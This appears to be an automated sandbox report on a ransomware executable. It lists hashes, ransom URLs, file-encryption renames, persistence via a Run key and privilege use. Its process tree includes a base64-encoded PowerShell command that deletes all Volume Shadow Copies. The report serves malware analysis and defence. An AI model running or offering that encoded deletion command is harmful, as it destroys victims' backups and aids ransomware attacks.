Analysis
-
max time kernel
162s -
max time network
163s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 00:58
Static task
static1
Behavioral task
behavioral1
Sample
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Resource
win10-en-20211208
General
-
Target
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
-
Size
114KB
-
MD5
8faa0738320edb99c6044c4c9acb7685
-
SHA1
d35fc9ad6a14ce0d792f65a445cc7f9df6c8bc1f
-
SHA256
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904
-
SHA512
dcbd9727206f4894e3ab7ab186c6821795a9ec39e378dd5543ff309fe72e1850f0be6a502f608335a064e71a0bc438dd29ec7409506c46fefe444cf5aebe49db
Malware Config
Extracted
C:\j1g6j2993-readme.txt
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/1876FD3E5DD1CFBC
http://decryptor.cc/1876FD3E5DD1CFBC
Signatures
-
Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription ioc process File renamed C:\Users\Admin\Pictures\BlockExport.crw => \??\c:\users\admin\pictures\BlockExport.crw.j1g6j2993 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File renamed C:\Users\Admin\Pictures\CompressStep.raw => \??\c:\users\admin\pictures\CompressStep.raw.j1g6j2993 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File renamed C:\Users\Admin\Pictures\CheckpointFind.raw => \??\c:\users\admin\pictures\CheckpointFind.raw.j1g6j2993 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File renamed C:\Users\Admin\Pictures\DisconnectAssert.tif => \??\c:\users\admin\pictures\DisconnectAssert.tif.j1g6j2993 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File renamed C:\Users\Admin\Pictures\RequestRename.tif => \??\c:\users\admin\pictures\RequestRename.tif.j1g6j2993 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dTAEUbvF4K = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe" d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription ioc process File opened (read-only) \??\P: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\R: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\U: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\V: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\F: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\J: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\H: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\I: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\K: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\L: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\Y: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\Z: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\A: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\G: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\Q: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\S: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\W: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\X: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\E: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\N: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\O: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\T: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\D: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\B: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened (read-only) \??\M: d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\18g.bmp" d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Drops file in Program Files directory 30 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription ioc process File opened for modification \??\c:\program files\DebugProtect.cr2 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\ReceiveMerge.docm d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\StepRegister.eprtx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\UseStep.wvx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\DisconnectShow.jpeg d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\FindMeasure.svg d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\LimitGet.iso d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\UpdateResume.3g2 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File created \??\c:\program files\j1g6j2993-readme.txt d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\CheckpointUse.jpg d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\GrantRename.dxf d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\OptimizeConnect.easmx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\OutExpand.pub d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\SavePing.mhtml d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\UnregisterGrant.wvx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\CheckpointResolve.tiff d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\ExitMeasure.mpeg3 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\MeasureCheckpoint.jtx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\StopUnregister.m3u d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\MountMeasure.pot d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\SaveBackup.mp2 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\OutUnregister.shtml d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\ReadEnter.zip d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\StepConvert.xlt d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File created \??\c:\program files (x86)\j1g6j2993-readme.txt d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\ClearUndo.fon d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\ConvertToRepair.ADT d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\StartOptimize.zip d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\WaitTest.dwfx d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe File opened for modification \??\c:\program files\CompressRename.mpeg2 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exepowershell.exepid process 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe 1412 powershell.exe 1412 powershell.exe 1412 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe Token: SeDebugPrivilege 1412 powershell.exe Token: SeBackupPrivilege 3732 vssvc.exe Token: SeRestorePrivilege 3732 vssvc.exe Token: SeAuditPrivilege 3732 vssvc.exe Token: SeTakeOwnershipPrivilege 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exedescription pid process target process PID 2656 wrote to memory of 1412 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe powershell.exe PID 2656 wrote to memory of 1412 2656 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe"C:\Users\Admin\AppData\Local\Temp\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:908
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3732
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1412-122-0x0000022EED710000-0x0000022EED712000-memory.dmpFilesize
8KB
-
memory/1412-123-0x0000022EED713000-0x0000022EED715000-memory.dmpFilesize
8KB
-
memory/1412-124-0x0000022EED680000-0x0000022EED6A2000-memory.dmpFilesize
136KB
-
memory/1412-127-0x0000022EED8A0000-0x0000022EED916000-memory.dmpFilesize
472KB